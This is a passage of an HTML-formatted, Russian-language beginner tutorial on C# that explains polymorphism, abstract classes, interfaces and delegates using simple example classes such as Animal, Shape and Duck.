class=\"k\">virtual</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">MakeSound</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; издаёт звук&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Dog</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Animal</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Dog</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">base</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// override — Dog заменяет реализацию MakeSound своей</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">override</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">MakeSound</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; говорит: Гав!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Cat</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Animal</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Cat</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">base</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">override</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">MakeSound</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; говорит: Мяу!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h3 id=\"магия-полиморфизма\">Магия полиморфизма</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Переменная типа Animal может хранить любого потомка Animal</span>\n<span class=\"n\">Animal</span><span class=\"w\"> </span><span class=\"n\">a1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">(</span><span class=\"s\">&quot;Бобик&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">Animal</span><span class=\"w\"> </span><span class=\"n\">a2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Cat</span><span class=\"p\">(</span><span class=\"s\">&quot;Мурка&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">Animal</span><span class=\"w\"> </span><span class=\"n\">a3</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Animal</span><span class=\"p\">(</span><span class=\"s\">&quot;Зверь&quot;</span><span class=\"p\">);</span>\n\n<span class=\"n\">a1</span><span class=\"p\">.</span><span class=\"n\">MakeSound</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Бобик говорит: Гав!   (вызвался Dog.MakeSound)</span>\n<span class=\"n\">a2</span><span class=\"p\">.</span><span class=\"n\">MakeSound</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Мурка говорит: Мяу!  (вызвался Cat.MakeSound)</span>\n<span class=\"n\">a3</span><span class=\"p\">.</span><span class=\"n\">MakeSound</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Зверь издаёт звук    (вызвался Animal.MakeSound)</span>\n</code></pre></div>\n\n<p>Одна строчка <code>.MakeSound()</code>, но делает разные вещи в зависимости от реального объекта!</p>\n<h3 id=\"практичный-пример-список-животных\">Практичный пример: список животных</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"n\">Animal</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">animals</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"n\">Animal</span><span class=\"o\">&gt;</span><span class=\"p\">();</span>\n<span class=\"n\">animals</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">(</span><span class=\"s\">&quot;Бобик&quot;</span><span class=\"p\">));</span>\n<span class=\"n\">animals</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Cat</span><span class=\"p\">(</span><span class=\"s\">&quot;Мурка&quot;</span><span class=\"p\">));</span>\n<span class=\"n\">animals</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">(</span><span class=\"s\">&quot;Шарик&quot;</span><span class=\"p\">));</span>\n<span class=\"n\">animals</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Cat</span><span class=\"p\">(</span><span class=\"s\">&quot;Барсик&quot;</span><span class=\"p\">));</span>\n\n<span class=\"c1\">// Один цикл для всех!</span>\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">Animal</span><span class=\"w\"> </span><span class=\"n\">animal</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">animals</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">animal</span><span class=\"p\">.</span><span class=\"n\">MakeSound</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// каждый позовёт свой метод</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Без полиморфизма пришлось бы писать отдельный цикл для собак, отдельный для кошек...</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Ты говоришь всем детям «нарисуй кружок». Каждый рисует по-своему — один красный, другой синий, третий большой. Команда одна, результат разный. Это полиморфизм.</p>\n</blockquote>\n<hr />\n<h2 id=\"14-абстрактные-классы-и-интерфейсы\">14. Абстрактные классы и интерфейсы</h2>\n<blockquote>\n<p>Это одна из сложнейших тем ООП. Не паникуй — прочитай спокойно, пойми основную идею, а детали придут с опытом.</p>\n</blockquote>\n<h3 id=\"абстрактный-класс\">Абстрактный класс</h3>\n<p>Представь класс <code>Фигура</code>. Какая площадь у просто «фигуры»? Непонятно — нужно знать конкретно: круг это, прямоугольник или треугольник.</p>\n<p>Вот для этого и нужен <code>abstract</code> класс: <strong>нельзя создать объект абстрактного класса</strong>, но можно создать его потомков. Абстрактный класс говорит: «у всех моих потомков ДОЛЖЕН быть метод <code>GetArea()</code>, но что он делает — каждый решает сам».</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">abstract</span><span class=\"w\"> </span><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Shape</span><span class=\"w\"> </span><span class=\"c1\">// abstract — нельзя написать new Shape()</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Color</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// abstract метод — нет тела ({}), только объявление</span>\n<span class=\"w\">    </span><span class=\"c1\">// каждый потомок ОБЯЗАН написать свою реализацию</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">abstract</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">GetArea</span><span class=\"p\">();</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Обычный метод — есть тело, потомки наследуют его как есть</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">PrintInfo</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Цвет: {Color}, площадь: {GetArea()}&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Circle</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Shape</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">Radius</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Circle</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">radius</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">color</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Radius</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">radius</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Color</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">color</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// override — &quot;я реализую абстрактный метод из Shape&quot;</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">override</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">GetArea</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">Math</span><span class=\"p\">.</span><span class=\"n\">PI</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">Radius</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">Radius</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// π × r²</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Rectangle</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Shape</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">Width</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Height</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Rectangle</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">width</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">height</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">color</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Width</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">width</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Height</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">height</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Color</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">color</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">override</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">GetArea</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">Width</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">Height</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// ширина × высота</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Shape shape = new Shape(); // ОШИБКА! Нельзя создать абстрактный класс напрямую</span>\n\n<span class=\"n\">Shape</span><span class=\"w\"> </span><span class=\"n\">circle</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Circle</span><span class=\"p\">(</span><span class=\"m\">5</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Красный&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">Shape</span><span class=\"w\"> </span><span class=\"n\">rect</span><span class=\"w\">   </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Rectangle</span><span class=\"p\">(</span><span class=\"m\">4</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">6</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Синий&quot;</span><span class=\"p\">);</span>\n\n<span class=\"n\">circle</span><span class=\"p\">.</span><span class=\"n\">PrintInfo</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Цвет: Красный, площадь: 78.53...</span>\n<span class=\"n\">rect</span><span class=\"p\">.</span><span class=\"n\">PrintInfo</span><span class=\"p\">();</span><span class=\"w\">   </span><span class=\"c1\">// Цвет: Синий, площадь: 24</span>\n</code></pre></div>\n\n<p><strong>Главная мысль:</strong> Абстрактный класс — это «незаконченный» класс. Он задаёт структуру (какие методы должны быть), но не всю реализацию.</p>\n<h3 id=\"интерфейс\">Интерфейс</h3>\n<p>Интерфейс — это <strong>список требований</strong>. «Если хочешь называться X — обязан уметь делать Y и Z».</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Розетка в стене — интерфейс. Она говорит: «подключайся ко мне, но у тебя должна быть вилка с двумя штырьками». Неважно что ты — фен, телефон или лампа. Если у тебя правильная вилка — ты можешь подключиться.</p>\n</blockquote>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Интерфейс — только названия методов, БЕЗ реализации</span>\n<span class=\"k\">interface</span><span class=\"w\"> </span><span class=\"n\">IFlyable</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Fly</span><span class=\"p\">();</span><span class=\"w\">              </span><span class=\"c1\">// метод без тела — только обязательство</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">MaxAltitude</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"c1\">// свойство без реализации</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">interface</span><span class=\"w\"> </span><span class=\"n\">ISwimmable</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Swim</span><span class=\"p\">();</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Bird &quot;реализует&quot; интерфейс IFlyable — обязуется иметь Fly() и MaxAltitude</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Bird</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">IFlyable</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">MaxAltitude</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"m\">1000</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// реализуем свойство</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Fly</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"c1\">// реализуем метод</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Птица летит&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Duck реализует ОБА интерфейса — умеет и летать и плавать</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Duck</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">IFlyable</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">ISwimmable</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">MaxAltitude</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"m\">100</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Fly</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Утка летит (невысоко)&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Swim</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Утка плывёт&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><strong>Главная мысль:</strong> Интерфейс — это договор. «Ты обещаешь уметь делать вот это». Один класс может выполнять несколько договоров (реализовывать несколько интерфейсов).</p>\n<h3 id=\"разница-абстрактный-класс-vs-интерфейс\">Разница: абстрактный класс vs интерфейс</h3>\n<table>\n<thead>\n<tr>\n<th></th>\n<th>Абстрактный класс</th>\n<th>Интерфейс</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Может иметь свой код</td>\n<td>✅ Да</td>\n<td>❌ Нет (только объявления)</td>\n</tr>\n<tr>\n<td>Может иметь поля</td>\n<td>✅ Да</td>\n<td>❌ Нет</td>\n</tr>\n<tr>\n<td>Сколько можно взять</td>\n<td>Только один (одно наследование)</td>\n<td>Сколько угодно</td>\n</tr>\n<tr>\n<td>Когда использовать</td>\n<td>Общая база с общим кодом</td>\n<td>Набор требований к поведению</td>\n</tr>\n</tbody>\n</table>\n<hr />\n<h2 id=\"15-делегаты\">15. Делегаты</h2>\n<p>Это сложная тема — не переживай если с первого раза не дойдёт. Прочитай, попробуй, вернись ещё раз.</p>\n<p>Делегат — это <strong>переменная, в которой хранится не значение, а метод</strong>.</p>\n<p>Звучит странно. Разберём через пример.</p>\n<p>Обычная переменная хранит данные:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">42</span><span class=\"p\">;</span><span class=\"w\">         </span><span class=\"c1\">// в x хранится число</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// в s хранится текст</span>\n</code></pre></div>\n\n<p>Делегат хранит <strong>метод</strong> — то есть кусок кода, который можно вызвать:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// В operation хранится метод &quot;как складывать&quot;</span>\n<span class=\"n\">MathOperation</span><span class=\"w\"> </span><span class=\"n\">operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Add</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// Вызываем то, что хранится в operation</span>\n<span class=\"n\">operation</span><span class=\"p\">(</span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// → 7</span>\n</code></pre></div>\n\n<blockquote>\n<p><strong>Зачем это нужно?</strong> Чтобы передавать «что делать» как параметр. Например: «возьми этот список чисел и отфильтруй их вот этим правилом» — правило передаётся как делегат.</p>\n</blockquote>\n<h3 id=\"простой-делегат\">Простой делегат</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Объявление типа делегата:</span>\n<span class=\"c1\">// &quot;MathOperation — это метод который принимает два double и возвращает double&quot;</span>\n<span class=\"k\">delegate</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">MathOperation</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Пишем обычные методы — они подходят под этот тип</span>\n<span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Add</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\">      </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Subtract</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Multiply</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n\n<span class=\"c1\">// Кладём метод в переменную-делегат</span>\n<span class=\"n\">MathOperation</span><span class=\"w\"> </span><span class=\"n\">operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Add</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">operation</span><span class=\"p\">(</span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// вызываем — получаем 7</span>\n\n<span class=\"n\">operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Subtract</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// меняем &quot;что делать&quot;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">operation</span><span class=\"p\">(</span><span class=\"m\">10</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// теперь вычитание — получаем 7</span>\n\n<span class=\"n\">operation</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Multiply</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">operation</span><span class=\"p\">(</span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// теперь умножение — получаем 12</span>\n</code></pre></div>\n\n<h3 id=\"зачем-это-нужно\">Зачем это нужно?</h3>\n<p>Можно передавать метод как параметр в другой метод:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Этот метод не знает заранее какую операцию выполнять</span>\n<span class=\"c1\">// Операция передаётся как параметр!</span>\n<span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Calculate</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">MathOperation</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// вызываем то что передали</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Результат: {result}&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Вызываем с разными операциями</span>\n<span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"m\">10</span><span class=\"p\">,</span><span class=\"w\"> </span><span 